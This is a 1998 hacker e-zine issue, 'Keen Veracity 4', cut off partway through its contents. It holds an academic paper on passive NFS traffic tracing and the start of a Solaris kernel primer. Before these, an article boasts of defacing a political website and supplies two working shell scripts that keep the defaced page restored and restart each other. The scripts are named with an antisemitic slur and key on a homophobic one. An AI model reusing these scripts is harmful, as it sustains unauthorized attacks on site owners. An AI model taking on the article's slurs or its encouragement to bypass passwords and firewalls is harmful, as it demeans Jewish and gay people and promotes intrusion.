########################################### | Keen Veracity | | Issue 4 November 1998 | | Legions of the Underground | ########################################### And my soul passed into the data havens, and at once I was blessed with the knowledge of a thousand men..... [http://www.legions.org] --------------------------------------------------------------------------- Table of Contents --------------------------------------------------------------------------- [1x8] Introduction Digital Ebola [2x8] Resilence thru Scripts Duncan Silver [3x8] NFS Tracing By Passive Network Monitoring Matt Blaze [4x8] Kernel Mumblings (part 1 of N) FooPirata [5x8] The Internet Protocol Suite m0f0 [6x8] Bic Balistics Nitro [7x8] In the News Sources [8x8] Exit() Digital Ebola --------------------------------------------------------------------------- Introduction Digital Ebola ---------------------------------------------------------------------------- Well it looks like another issue of KV is upon us. We hope to provide many exciting things in this issue as well as some changes. I would like to introduce myself to you as the editor. I hope to bring you many changes, as well as providing the best information I possibly can. I urge anyone with articles or suggestions to send them to us, and participate in this forum, you need not be a member of LoU to submit, as we are all members of a greater research team, the human race. My wish, that you as readers, take interest in this quest for knowledge, and share the wealth. May not a password or firewall hinder you in this quest. The information it out there, all it takes is the motivation and drive to aquire it and use it. On that note, I give you Keen Veracity 4. Hope you like it. --------------------------------------------------------------------------- Resilence thru Scripts Duncan Silver --------------------------------------------------------------------------- Hey there kids. We are gathered here today to discuss this very funny thing I thought of. It's nothing amazing, at least not in the technical sense, however, it has provided us with many hours of hilarious, enjoyable time. It all started when I found a certain politically oriented site to be vulnerable to a variety of exploits. Seeing how the elections are coming up in 2 weeks, we were sure this could provide allot of exposure for whatever points we felt like sharing with general public. But alas, we were saddened to find our "hacked" site remained up for pathetic 2 minutes and 41 seconds, for the sys administrators were alert. Our access blocked, our backdoors crushed beyond the point of existence. We screamed, cussed, spilled coffee on the keyboard, and attempted to physically harm each other, for our grief was unbearable. Hours of work, gone to waste. That's when I got the ingenious idea. What if we could magically make sure the "hacked" site was there, even if we weren't on the system, or even had any type of access to it? Within minutes the script was whipped together, escorted by many hits on the head by my comrades, as I'd make shell syntax errors. We called it Jew. Nothing is more resilient than a Jew. And that's the idea behind this script. I say script, although in reality, they are two scripts, bound in a variation of client/server relationship. The basic idea is that we have script #1 running, making sure the hacked site is where it's supposed to be, and script #2 making sure the script #1 is running. Here is the source of script #1, or the client. I assume you know basic shell scripting. #!/bin/sh #%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% #% Program ID: 78594b32 of the delta quadroon AKA JEW.SH % % #% Programmer : Duncan Silver of L.O.U. % % #% Why : Practical purposes and extensive free time % % #% Function : Client % % #% % #% % #%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% #The fourth output argument of command clock gives time in xx:xx:xx format set $(clock) clone="$4" cp $0 $clone echo $0 > ptty0001 echo $clone > ptty0002 while [ "$0" ]; do #change path appropriatelly grep fag /home/httpd/html/index.html > temp set $(wc -l temp) lines="$1" if [ "$lines" -ge "1" ]; then #The : command does nothing. : else cp ./index.html /home/httpd/html/index.html fi sleep 4 done exit 1 %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Now let's take a look at the server side of it: %%%%%%%%%%%%%%%%%%%%%%%%%%%% % Program ID: httpd.sh % % Function: Server % %%%%%%%%%%%%%%%%%%%%%%%%%%%% #!/bin/sh #function it_is_all_good() { : } it_is_all_bad() { ./$copy & if [ -f $org ]; then rm $org fi } while [ "$0" ]; do read org < ptty0001 read copy < ptty0002 sleep 4 ps -aux | grep $org > temp_h set $(wc -l temp_h) len="$1" case "$len" in 0) it_is_all_bad;; 1) grep grep temp_h > temp_h set $(wc -l temp_h) if [ "$1" = "1" ]; then it_is_all_bad else it_is_all_good fi ;; 2) it_is_all_good;; esac done exit 1 %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Alright, now, if you are any good at all, you know what's up. For the logically challenged ones, here is the outline in English. * Script #1 starts up * Make a copy of itself with a random name * Store the name of self and copy in ptty001 and ptty0002 respectively * do (never ending loop) * grep for a unique word in index.html to verify the hacked site is up * IF: word found THEN: sit peacefully, check back in 4 seconds * IF: word not found THEN: copy hacked site over index.html * done (back to do) * Script #2 starts up * do (never ending loop) * Open ptty001 reads whatever's in there (if you see above, ptty001 should contain the name of the running script) * Using ps check if there is a process with that name. * IF: process found THEN: sit peacefully check back in 4 seconds * IF: process not found THEN: open ptty002, read name of the copy start the copy back to the beginning. done (back to do) Of course the English summary doesn't cover a few extra steps which make up for neatness, but you get the idea. As you can see, the major flaw is that the whole scheme is dependent upon the idea that httpd.sh remains running. Of course we could add a line in httpd.sh to trap kill signal and restart a copy of itself, but I'll leave the refinements up to you, (I'm not getting paid for this you know.) What I give you is a working skeleton, with all major problems solved, I simply don't want to bother with little ones. That's my contribution to KV4, thank you for joining us, and god bless. PS: name calling, spam mail, insults about my mother, pointless ramblings about how l33t you are, as well as job offers, can be directed to silver@megsinet.net --------------------------------------------------------------------------- NFS Tracing By Passive Network Monitoring Matt Blaze --------------------------------------------------------------------------- comments: mab@cs.princeton.edu ABSTRACT Traces of filesystem activity have proven to be useful for a wide variety of purposes, ranging from quantitative analysis of system behavior to trace-driven simulation of filesystem algorithms. Such traces can be difficult to obtain, however, usually entailing modification of the filesystems to be monitored and runtime overhead for the period of the trace. Largely because of these difficulties, a surprisingly small number of filesystem traces have been conducted, and few sample workloads are available to filesystem researchers. This paper describes a portable toolkit for deriving approximate traces of NFS [1] activity by non-intrusively monitoring the Ethernet traffic to and from the file server. The toolkit uses a promiscuous Ethernet listener interface (such as the Packetfilter[2]) to read and reconstruct NFS-related RPC packets intended for the server. It produces traces of the NFS activity as well as a plausible set of corresponding client system calls. The tool is currently in use at Princeton and other sites, and is available via anonymous ftp. 1. Motivation Traces of real workloads form an important part of virtually all analysis of computer system behavior, whether it is program hot spots, memory access patterns, or filesystem activity that is being studied. In the case of filesystem activity, obtaining useful traces is particularly challenging. Filesystem behavior can span long time periods, often making it necessary to collect huge traces over weeks or even months. Modification of the filesystem to collect trace data is often difficult, and may result in unacceptable runtime overhead. Distributed filesystems exa cerbate these difficulties, especially when the network is composed of a large number of heterogeneous machines. As a result of these difficulties, only a relatively small number of traces of Unix filesystem workloads have been conducted, primarily in computing research environments. [3], [4] and [5] are examples of such traces. Since distributed filesystems work by transmitting their activity over a network, it would seem reasonable to obtain traces of such systems by placing a "tap" on the network and collecting trace data based on the network traffic. Ethernet[6] based networks lend themselves to this approach particularly well, since traffic is broadcast to all machines connected to a given subnetwork. A number of general-purpose network monitoring tools are avail able that "promiscuously" listen to the Ethernet to which they are connected; Sun's etherfind[7] is an example of such a tool. While these tools are useful for observing (and collecting statistics on) specific types of packets, the information they provide is at too low a level to be useful for building filesystem traces. Filesystem operations may span several packets, and may be meaningful only in the context of other, previous operations. Some work has been done on characterizing the impact of NFS traffic on network load. In [8], for example, the results of a study are reported in which Ethernet traffic was monitored and statistics gathered on NFS activity. While useful for understanding traffic patterns and developing a queueing model of NFS loads, these previous stu dies do not use the network traffic to analyze the file access traffic patterns of the system, focusing instead on developing a statistical model of the individual packet sources, destinations, and types. This paper describes a toolkit for collecting traces of NFS file access activity by monitoring Ethernet traffic. A "spy" machine with a promiscuous Ethernet interface is connected to the same network as the file server. Each NFS-related packet is analyzed and a trace is produced at an appropriate level of detail. The tool can record the low level NFS calls themselves or an approximation of the user-level system calls (open, close, etc.) that triggered the activity. We partition the problem of deriving NFS activity from raw network traffic into two fairly distinct subprob lems: that of decoding the low-level NFS operations from the packets on the network, and that of translating these low-level commands back into user-level system calls. Hence, the toolkit consists of two basic parts, an "RPC decoder" (rpcspy) and the "NFS analyzer" (nfstrace). rpcspy communicates with a low-level network monitoring facility (such as Sun's NIT [9] or the Packetfilter [2]) to read and reconstruct the RPC transactions (call and reply) that make up each NFS command. nfstrace takes the output of rpcspy and reconstructs the sys tem calls that occurred as well as other interesting data it can derive about the structure of the filesystem, such as the mappings between NFS file handles and Unix file names. Since there is not a clean one-to-one mapping between system calls and lower-level NFS commands, nfstrace uses some simple heuristics to guess a reasonable approximation of what really occurred. 1.1. A Spy's View of the NFS Protocols It is well beyond the scope of this paper to describe the protocols used by NFS; for a detailed description of how NFS works, the reader is referred to [10], [11], and [12]. What follows is a very brief overview of how NFS activity translates into Ethernet packets. An NFS network consists of servers, to which filesystems are physically connected, and clients, which per form operations on remote server filesystems as if the disks were locally connected. A particular machine can be a client or a server or both. Clients mount remote server filesystems in their local hierarchy just as they do local filesystems; from the user's perspective, files on NFS and local filesystems are (for the most part) indistinguishable, and can be manipulated with the usual filesystem calls. The interface between client and server is defined in terms of 17 remote procedure call (RPC) operations. Remote files (and directories) are referred to by a file handle that uniquely identifies the file to the server. There are operations to read and write bytes of a file (read, write), obtain a file's attributes (getattr), obtain the contents of directories (lookup, readdir), create files (create), and so forth. While most of these operations are direct analogs of Unix system calls, notably absent are open and close operations; no client state information is maintained at the server, so there is no need to inform the server explicitly when a file is in use. Clients can maintain buffer cache entries for NFS files, but must verify that the blocks are still valid (by checking the last write time with the getattr operation) before using the cached data. An RPC transaction consists of a call message (with arguments) from the client to the server and a reply mes sage (with return data) from the server to the client. NFS RPC calls are transmitted using the UDP/IP connection less unreliable datagram protocol[13]. The call message contains a unique transaction identifier which is included in the reply message to enable the client to match the reply with its call. The data in both messages is encoded in an "external data representation" (XDR), which provides a machine-independent standard for byte order, etc. Note that the NFS server maintains no state information about its clients, and knows nothing about the context of each operation outside of the arguments to the operation itself. 2. The rpcspy Program rpcspy is the interface to the system-dependent Ethernet monitoring facility; it produces a trace of the RPC calls issued between a given set of clients and servers. At present, there are versions of rpcspy for a number of BSD-derived systems, including ULTRIX (with the Packetfilter[2]), SunOS (with NIT[9]), and the IBM RT running AOS (with the Stanford enet filter). For each RPC transaction monitored, rpcspy produces an ASCII record containing a timestamp, the name of the server, the client, the length of time the command took to execute, the name of the RPC command executed, and the command- specific arguments and return data. Currently, rpcspy understands and can decode the 17 NFS RPC commands, and there are hooks to allow other RPC services (for example, NIS) to be added reasonably easily. The output may be read directly or piped into another program (such as nfstrace) for further analysis; the for mat is designed to be reasonably friendly to both the human reader and other programs (such as nfstrace or awk). Since each RPC transaction consists of two messages, a call and a reply, rpcspy waits until it receives both these components and emits a single record for the entire transaction. The basic output format is 8 vertical-bar separated fields: timestamp | execution-time | server | client | command-name | arguments | reply-data where timestamp is the time the reply message was received, execution-time is the time (in microseconds) that elapsed between the call and reply, server is the name (or IP address) of the server, client is the name (or IP address) of the client followed by the userid that issued the command, command-name is the name of the particular program invoked (read, write, getattr, etc.), and arguments and reply-data are the command dependent arguments and return values passed to and from the RPC program, respectively. The exact format of the argument and reply data is dependent on the specific command issued and the level of detail the user wants logged. For example, a typical NFS command is recorded as follows: 690529992.167140 | 11717 | paramount | merckx.321 | read | {"7b1f00000000083c", 0, 8192} | ok, 1871 In this example, uid 321 at client "merckx" issued an NFS read command to server "paramount". The reply was issued at (Unix time) 690529992.167140 seconds; the call command occurred 11717 microseconds earlier. Three arguments are logged for the read call: the file handle from which to read (represented as a hexadecimal string), the offset from the beginning of the file, and the number of bytes to read. In this example, 8192 bytes are requested starting at the beginning (byte 0) of the file whose handle is "7b1f00000000083c". The command completed successfully (status "ok"), and 1871 bytes were returned. Of course, the reply message also included the 1871 bytes of data from the file, but that field of the reply is not logged by rpcspy. rpcspy has a number of configuration options to control which hosts and RPC commands are traced, which call and reply fields are printed, which Ethernet interfaces are tapped, how long to wait for reply messages, how long to run, etc. While its primary function is to provide input for the nfstrace program (see Section 3), judi cious use of these options (as well as such programs as grep, awk, etc.) permit its use as a simple NFS diag nostic and performance monitoring tool. A few screens of output give a surprisingly informative snapshot of current NFS activity; we have identified quickly using the program several problems that were otherwise difficult to pinpoint. Similarly, a short awk script can provide a breakdown of the most active clients, servers, and hosts over a sampled time period. 2.1. Implementation Issues The basic function of rpcspy is to monitor the network, extract those packets containing NFS data, and print the data in a useful format. Since each RPC transaction consists of a call and a reply, rpcspy maintains a table of pending call packets that are removed and emitted when the matching reply arrives. In normal operation on a reasonably fast workstation, this rarely requires more than about two megabytes of memory, even on a busy net work with unusually slow file servers. Should a server go down, however, the queue of pending call messages (which are never matched with a reply) can quickly become a memory hog; the user can specify a maximum size the table is allowed to reach before these "orphaned" calls are searched out and reclaimed. File handles pose special problems. While all NFS file handles are a fixed size, the number of significant bits varies from implementation to implementation; even within a vendor, two different releases of the same operating system might use a completely different internal handle format. In most Unix implementations, the handle contains a filesystem identifier and the inode number of the file; this is sometimes augmented by additional information, such as a version number. Since programs using rpcspy output generally will use the handle as a unique file identifier, it is important that there not appear to be more than one handle for the same file. Unfortunately, it is not sufficient to simply consider the handle as a bitstring of the maximum handle size, since many operating systems do not zero out the unused extra bits before assigning the handle. Fortunately, most servers are at least consistent in the sizes of the handles they assign. rpcspy allows the user to specify (on the command line or in a startup file) the handle size for each host to be monitored. The handles from that server are emitted as hexadecimal strings truncated at that length. If no size is specified, a guess is made based on a few common formats of a reasonable size. It is usually desirable to emit IP addresses of clients and servers as their symbolic host names. An early ver sion of the software simply did a nameserver lookup each time this was necessary; this quickly flooded the network with a nameserver request for each NFS transaction. The current version maintains a cache of host names; this requires a only a modest amount of memory for typical networks of less than a few hundred hosts. For very large networks or those where NFS service is provided to a large number of remote hosts, this could still be a potential problem, but as a last resort remote name resolution could be disabled or rpcspy configured to not translate IP addresses. UDP/IP datagrams may be fragmented among several packets if the datagram is larger than the maximum size of a single Ethernet frame. rpcspy looks only at the first fragment; in practice, fragmentation occurs only for the data fields of NFS read and write transactions, which are ignored anyway. 3. nfstrace: The Filesystem Tracing Package Although rpcspy provides a trace of the low-level NFS commands, it is not, in and of itself, sufficient for obtaining useful filesystem traces. The low-level commands do not by themselves reveal user-level activity. Furth ermore, the volume of data that would need to be recorded is potentially enormous, on the order of megabytes per hour. More useful would be an abstraction of the user-level system calls underlying the NFS activity. nfstrace is a filter for rpcspy that produces a log of a plausible set of user level filesystem commands that could have triggered the monitored activity. A record is produced each time a file is opened, giving a summary of what occurred. This summary is detailed enough for analysis or for use as input to a filesystem simulator. The output format of nfstrace consists of 7 fields: timestamp | command-time | direction | file-id | client | transferred | size where timestamp is the time the open occurred, command-time is the length of time between open and close, direc tion is either read or write (mkdir and readdir count as write and read, respectively). file-id identifies the server and the file handle, client is the client and user that performed the open, transferred is the number of bytes of the file actually read or written (cache hits have a 0 in this field), and size is the size of the file (in bytes). An example record might be as follows: 690691919.593442 | 17734 | read | basso:7b1f00000000400f | frejus.321 | 0 | 24576 Here, userid 321 at client frejus read file 7b1f00000000400f on server basso. The file is 24576 bytes long and was able to be read from the client cache. The command started at Unix time 690691919.593442 and took 17734 microseconds at the server to execute. Since it is sometimes useful to know the name corresponding to the handle and the mode information for each file, nfstrace optionally produces a map of file handles to file names and modes. When enough information (from lookup and readdir commands) is received, new names are added. Names can change over time (as files are deleted and renamed), so the times each mapping can be considered valid is recorded as well. The mapping infor mation may not always be complete, however, depending on how much activity has already been observed. Also, hard links can confuse the name mapping, and it is not always possible to determine which of several possible names a file was opened under. What nfstrace produces is only an approximation of the underlying user activity. Since there are no NFS open or close commands, the program must guess when these system calls occur. It does this by taking advantage of the observation that NFS is fairly consistent in what it does when a file is opened. If the file is in the local buffer cache, a getattr call is made on the file to verify that it has not changed since the file was cached. Otherwise, the actual bytes of the file are fetched as they are read by the user. (It is possible that part of the file is in the cache and part is not, in which case the getattr is performed and only the missing pieces are fetched. This occurs most often when a demand-paged executable is loaded). nfstrace assumes that any sequence of NFS read calls on the same file issued by the same user at the same client is part of a single open for read. The close is assumed to have taken place when the last read in the sequence completes. The end of a read sequence is detected when the same client reads the beginning of the file again or when a timeout with no reading has elapsed. Writes are handled in a similar manner. Reads that are entirely from the client cache are a bit harder; not every getattr command is caused by a cache read, and a few cache reads take place without a getattr. A user level stat system call can sometimes trigger a getattr, as can an ls -l command. Fortunately, the attribute caching used by most implementations of NFS seems to eliminate many of these extraneous getattrs, and ls commands appear to trigger a lookup command most of the time. nfstrace assumes that a getattr on any file that the client has read within the past few hours represents a cache read, otherwise it is ignored. This simple heuristic seems to be fairly accurate in practice. Note also that a getattr might not be performed if a read occurs very soon after the last read, but the time threshold is generally short enough that this is rarely a problem. Still, the cached reads that nfstrace reports are, at best, an estimate (generally erring on the side of over-reporting). There is no way to determine the number of bytes actually read for cache hits. The output of nfstrace is necessarily produced out of chronological order, but may be sorted easily by a post-processor. nfstrace has a host of options to control the level of detail of the trace, the lengths of the timeouts, and so on. To facilitate the production of very long traces, the output can be flushed and checkpointed at a specified inter val, and can be automatically compressed. 4. Using rpcspy and nfstrace for Filesystem Tracing Clearly, nfstrace is not suitable for producing highly accurate traces; cache hits are only estimated, the timing information is imprecise, and data from lost (and duplicated) network packets are not accounted for. When such a highly accurate trace is required, other approaches, such as modification of the client and server kernels, must be employed. The main virtue of the passive-monitoring approach lies in its simplicity. In [5], Baker, et al, describe a trace of a distributed filesystem which involved low-level modification of several different operating system kernels. In contrast, our entire filesystem trace package consists of less than 5000 lines of code written by a single programmer in a few weeks, involves no kernel modifications, and can be installed to monitor multiple heterogeneous servers and clients with no knowledge of even what operating systems they are running. The most important parameter affecting the accuracy of the traces is the ability of the machine on which rpcspy is running to keep up with the network traffic. Although most modern RISC workstations with reasonable Ethernet interfaces are able to keep up with typical network loads, it is important to determine how much informa tion was lost due to packet buffer overruns before relying upon the trace data. It is also important that the trace be, indeed, non-intrusive. It quickly became obvious, for example, that logging the traffic to an NFS filesystem can be problematic. Another parameter affecting the usefulness of the traces is the validity of the heuristics used to translate from RPC calls into user-level system calls. To test this, a shell script was written that performed ls -l, touch, cp and wc commands randomly in a small directory hierarchy, keeping a record of which files were touched and read and at what time. After several hours, nfstrace was able to detect 100% of the writes, 100% of the uncached reads, and 99.4% of the cached reads. Cached reads were over-reported by 11%, even though ls com mands (which cause the "phantom" reads) made up 50% of the test activity. While this test provides encouraging evidence of the accuracy of the traces, it is not by itself conclusive, since the particular workload being monitored may fool nfstrace in unanticipated ways. As in any research where data are collected about the behavior of human subjects, the privacy of the individu als observed is a concern. Although the contents of files are not logged by the toolkit, it is still possible to learn something about individual users from examining what files they read and write. At a minimum, the users of a mon itored system should be informed of the nature of the trace and the uses to which it will be put. In some cases, it may be necessary to disable the name translation from nfstrace when the data are being provided to others. Commercial sites where filenames might reveal something about proprietary projects can be particularly sensitive to such concerns. 5. A Trace of Filesystem Activity in the Princeton C.S. Department A previous paper[14] analyzed a five-day long trace of filesystem activity conducted on 112 research worksta tions at DEC-SRC. The paper identified a number of file access properties that affect filesystem caching perfor mance; it is difficult, however, to know whether these properties were unique artifacts of that particular environment or are more generally applicable. To help answer that question, it is necessary to look at similar traces from other computing environments. It was relatively easy to use rpcspy and nfstrace to conduct a week long trace of filesystem activity in the Princeton University Computer Science Department. The departmental computing facility serves a community of approximately 250 users, of which about 65% are researchers (faculty, graduate students, undergraduate researchers, postdoctoral staff, etc), 5% office staff, 2% systems staff, and the rest guests and other "external" users. About 115 of the users work full-time in the building and use the system heavily for electronic mail, netnews, and other such communication services as well as other computer science research oriented tasks (editing, compiling, and executing programs, formatting documents, etc). The computing facility consists of a central Auspex file server (fs) (to which users do not ordinarily log in directly), four DEC 5000/200s (elan, hart, atomic and dynamic) used as shared cycle servers, and an assortment of dedicated workstations (NeXT machines, Sun workstations, IBM-RTs, Iris workstations, etc.) in indi vidual offices and laboratories. Most users log in to one of the four cycle servers via X window terminals located in offices; the terminals are divided evenly among the four servers. There are a number of Ethernets throughout the building. The central file server is connected to a "machine room network" to which no user terminals are directly connected; traffic to the file server from outside the machine room is gatewayed via a Cisco router. Each of the four cycle servers has a local /, /bin and /tmp filesystem; other filesystems, including /usr, /usr/local, and users' home directories are NFS mounted from fs. Mail sent from local machines is delivered locally to the (shared) fs:/usr/spool/mail; mail from outside is delivered directly on fs. The trace was conducted by connecting a dedicated DEC 5000/200 with a local disk to the machine room net work. This network carries NFS traffic for all home directory access and access to all non-local cycle-server files (including the most of the actively-used programs). On a typical weekday, about 8 million packets are transmitted over this network. nfstrace was configured to record opens for read and write (but not directory accesses or individual reads or writes). After one week (wednesday to wednesday), 342,530 opens for read and 125,542 opens for write were recorded, occupying 8 MB of (compressed) disk space. Most of this traffic was from the four cycle servers. No attempt was made to "normalize" the workload during the trace period. Although users were notified that file accesses were being recorded, and provided an opportunity to ask to be excluded from the data collection, most users seemed to simply continue with their normal work. Similarly, no correction is made for any anomalous user activity that may have occurred during the trace. 5.1. The Workload Over Time Intuitively, the volume of traffic can be expected to vary with the time of day. Figure 1 shows the number of reads and writes per hour over the seven days of the trace; in particular, the volume of write traffic seems to mirror the general level of departmental activity fairly closely. An important metric of NFS performance is the client buffer cache hit rate. Each of the four cycle servers allocates approximately 6MB of memory for the buffer cache. The (estimated) aggregate hit rate (percentage of reads served by client caches) as seen at the file server was surprisingly low: 22.2% over the entire week. In any given hour, the hit rate never exceeded 40%. Figure 2 plots (actual) server reads and (estimated) cache hits per hour over the trace week; observe that the hit rate is at its worst during periods of the heaviest read activity. Past studies have predicted much higher hit rates than the aggregate observed here. It is probable that since most of the traffic is generated by the shared cycle servers, the low hit rate can be attributed to the large number of users competing for cache space. In fact, the hit rate was observed to be much higher on the single-user worksta tions monitored in the study, averaging above 52% overall. This suggests, somewhat counter-intuitively, that if more computers were added to the network (such that each user had a private workstation), the server load would decrease considerably. Figure 3 shows the actual cache misses and estimated cache hits for a typical private works tation in the study. Thu 00:00 Thu 06:00 Thu 12:00 Thu 18:00 Fri 00:00 Fri 06:00 Fri 12:00 Fri 18:00 Sat 00:00 Sat 06:00 Sat 12:00 Sat 18:00 Sun 00:00 Sun 06:00 Sun 12:00 Sun 18:00 Mon 00:00 Mon 06:00 Mon 12:00 Mon 18:00 Tue 00:00 Tue 06:00 Tue 12:00 Tue 18:00 Wed 00:00 Wed 06:00 Wed 12:00 Wed 18:00 1000 2000 3000 4000 5000 6000 Reads/Writes per hour Writes Reads (all) Figure 1 - Read and Write Traffic Over Time 5.2. File Sharing One property observed in the DEC-SRC trace is the tendency of files that are used by multiple workstations to make up a significant proportion of read traffic but a very small proportion of write traffic. This has important implications for a caching strategy, since, when it is true, files that are cached at many places very rarely need to be invalidated. Although the Princeton computing facility does not have a single workstation per user, a similar metric is the degree to which files read by more than one user are read and written. In this respect, the Princeton trace is very similar to the DEC-SRC trace. Files read by more than one user make up more than 60% of read traffic, but less than 2% of write traffic. Files shared by more than ten users make up less than .2% of write traffic but still more than 30% of read traffic. Figure 3 plots the number of users who have previously read each file against the number of reads and writes. 5.3. File "Entropy" Files in the DEC-SRC trace demonstrated a strong tendency to "become" read-only as they were read more and more often. That is, the probability that the next operation on a given file will overwrite the file drops off shar ply in proportion to the number of times it has been read in the past. Like the sharing property, this has implications for a caching strategy, since the probability that cached data is valid influences the choice of a validation scheme. Again, we find this property to be very strong in the Princeton trace. For any file access in the trace, the probability that it is a write is about 27%. If the file has already been read at least once since it was last written to, the write probability drops to 10%. Once the file has been read at least five times, the write probability drops below 1%. Fig ure 4 plots the observed write probability against the number of reads since the last write. Thu 00:00 Thu 06:00 Thu 12:00 Thu 18:00 Fri 00:00 Fri 06:00 Fri 12:00 Fri 18:00 Sat 00:00 Sat 06:00 Sat 12:00 Sat 18:00 Sun 00:00 Sun 06:00 Sun 12:00 Sun 18:00 Mon 00:00 Mon 06:00 Mon 12:00 Mon 18:00 Tue 00:00 Tue 06:00 Tue 12:00 Tue 18:00 Wed 00:00 Wed 06:00 Wed 12:00 Wed 18:00 1000 2000 3000 4000 5000 Total reads per hour Cache Hits (estimated) Cache Misses (actual) Figure 2 - Cache Hits and Misses Over Time 6. Conclusions Although filesystem traces are a useful tool for the analysis of current and proposed systems, the difficulty of collecting meaningful trace data makes such traces difficult to obtain. The performance degradation introduced by the trace software and the volume of raw data generated makes traces over long time periods and outside of comput ing research facilities particularly hard to conduct. Although not as accurate as direct, kernel-based tracing, a passive network monitor such as the one described in this paper can permit tracing of distributed systems relatively easily. The ability to limit the data collected to a high-level log of only the data required can make it practical to conduct traces over several months. Such a long term trace is presently being conducted at Princeton as part of the author's research on filesystem caching. The non-intrusive nature of the data collection makes traces possible at facilities where kernel modification is impracti cal or unacceptable. It is the author's hope that other sites (particularly those not doing computing research) will make use of this toolkit and will make the traces available to filesystem researchers. 7. Availability The toolkit, consisting of rpcspy, nfstrace, and several support scripts, currently runs under several BSD-derived platforms, including ULTRIX 4.x, SunOS 4.x, and IBM-RT/AOS. It is available for anonymous ftp over the Internet from samadams.princeton.edu, in the compressed tar file nfstrace/nfstrace.tar.Z. Thu 00:00 Thu 06:00 Thu 12:00 Thu 18:00 Fri 00:00 Fri 06:00 Fri 12:00 Fri 18:00 Sat 00:00 Sat 06:00 Sat 12:00 Sat 18:00 Sun 00:00 Sun 06:00 Sun 12:00 Sun 18:00 Mon 00:00 Mon 06:00 Mon 12:00 Mon 18:00 Tue 00:00 Tue 06:00 Tue 12:00 Tue 18:00 Wed 00:00 Wed 06:00 Wed 12:00 Wed 18:00 0 100 200 300 Reads per hour Cache Hits (estimated) Cache Misses (actual) Figure 3 - Cache Hits and Misses Over Time - Private Workstation 0 5 10 15 20 n (readers) 0 20 40 60 80 100 % of Reads and Writes used by > n users Reads Writes Figure 4 - Degree of Sharing for Reads and Writes 0 5 10 15 20 Reads Since Last Write 0.0 0.1 0.2 P(next operation is write) Figure 5 - Probability of Write Given >= n Previous Reads 8. Acknowledgments The author would like to gratefully acknowledge Jim Roberts and Steve Beck for their help in getting the trace machine up and running, Rafael Alonso for his helpful comments and direction, and the members of the pro gram committee for their valuable suggestions. Jim Plank deserves special thanks for writing jgraph, the software which produced the figures in this paper. 9. References [1] Sandberg, R., Goldberg, D., Kleiman, S., Walsh, D., & Lyon, B. "Design and Implementation of the Sun Net work File System." Proc. USENIX, Summer, 1985. [2] Mogul, J., Rashid, R., & Accetta, M. "The Packet Filter: An Efficient Mechanism for User-Level Network Code." Proc. 11th ACM Symp. on Operating Systems Principles, 1987. [3] Ousterhout J., et al. "A Trace-Driven Analysis of the Unix 4.2 BSD File System." Proc. 10th ACM Symp. on Operating Systems Principles, 1985. [4] Floyd, R. "Short-Term File Reference Patterns in a UNIX Environment," TR-177 Dept. Comp. Sci, U. of Rochester, 1986. [5] Baker, M. et al. "Measurements of a Distributed File System," Proc. 13th ACM Symp. on Operating Systems Principles, 1991. [6] Metcalfe, R. & Boggs, D. "Ethernet: Distributed Packet Switching for Local Computer Networks," CACM July, 1976. [7] "Etherfind(8) Manual Page," SunOS Reference Manual, Sun Microsystems, 1988. [8] Gusella, R. "Analysis of Diskless Workstation Traffic on an Ethernet," TR-UCB/CSD-87/379, University Of California, Berkeley, 1987. [9] "NIT(4) Manual Page," SunOS Reference Manual, Sun Microsystems, 1988. [10] "XDR Protocol Specification," Networking on the Sun Workstation, Sun Microsystems, 1986. [11] "RPC Protocol Specification," Networking on the Sun Workstation, Sun Microsystems, 1986. [12] "NFS Protocol Specification," Networking on the Sun Workstation, Sun Microsystems, 1986. [13] Postel, J. "User Datagram Protocol," RFC 768, Network Information Center, 1980. [14] Blaze, M., and Alonso, R., "Long-Term Caching Strategies for Very Large Distributed File Systems," Proc. Summer 1991 USENIX, 1991. --------------------------------------------------------------------------- Kernel Mumblings (part 1 of N) FooPirata --------------------------------------------------------------------------- The purpose of this text is to quickly introduce the Solaris 2 kernel structure, give a shot at some ways to play with it and give some basic tools on how to deal with the inevitable machine crashes that will happen when you start playing with your kernel. Differently from our beloved Linux, Solaris, even in its x86 version, does not come with sources. Those are propriety of Sun, and they can only be bought by huge sums of money we just don't happen to have yet. But Sun, in its incredible wisdom, now makes Solaris available to home users for the sole price of the media,shipping and handling (about U$30). www.sun.com has more details. I became interested in kernel hacking after being introduced to it by two great hackers - you readers probably don't know them - but if they ever read this text, they'll know I am talking about them - TeleMig and Snoopy. Introduction ============ As you all know by now, the kernel is the part of a Unix system where the real magic happens. The kernel is responsible for the memory management, the I/O, the timing and threading of the system. In fact, with no kernel or a buggy one, your chances of achieving a smooth operation of your system are close to zero. Why would someone mess with the kernel then ? Probably the most healthy reason would be curiosity. Nothing like breaking something apart to see how it works. Of course there will be those with darker purposes in their little ugly minds, but let's admit it, anybody that would be going at a kernel for cracking purposes would not be reading this text. So, I'll give you the benefit of the doubt and say you're doing it out of curiosity. This said, let's go thru a small and incomplete overview of the Solaris kernel. The simplest way to look at the kernel is as a resource manager, responsible for the allocation of critical and protected resources to the processes that need them in a safe and sane way. These resources would be CPU time, memory space,access to I/O devices, network handling, timers, the real-time clock, interprocess communication (IPC) and other processes. The CPU will then work in two modes: user and kernel mode. The differences between them are that in user mode a process will use local data, locally mapped files and a local stack. In kernel mode a process will be using a shared image of the kernel - and every other process running in the system will be using this image, so things are a bit slower here. Every time we pass from user mode to kernel mode, or the other way round, a context switch happens. This is one of the very expensive operations that drag down performance, and this is the reason why most of today's kernel writers do this part of the code in assembler. But when do context switches happen ? A user process moves from user mode to kernel mode each time a system call is used. System calls are function calls, like any other function, but they all make use of syscall(3B) as the entry point into the kernel. From the man page: ***** SunOS/BSD Compatibility Library Functions syscall(3B) NAME syscall - indirect system call SYNOPSIS /usr/ucb/cc [ flag ... ] file ... #include int syscall(number, arg, ...) DESCRIPTION syscall() performs the function whose assembly language interface has the specified number, and arguments arg .... Symbolic constants for functions can be found in the header . RETURN VALUES On error syscall() returns -1 and sets the external variable errno (see intro(2)). ***** A mapping between system call names and numbers can be found on /etc/name_to_sysnum. The System Call Mechanism ========================= ++++++++++++++ +user process+ ++++++++++++++ | system call(X,....) | | V User mode ----------------------------------------------------------------- Kernel mode 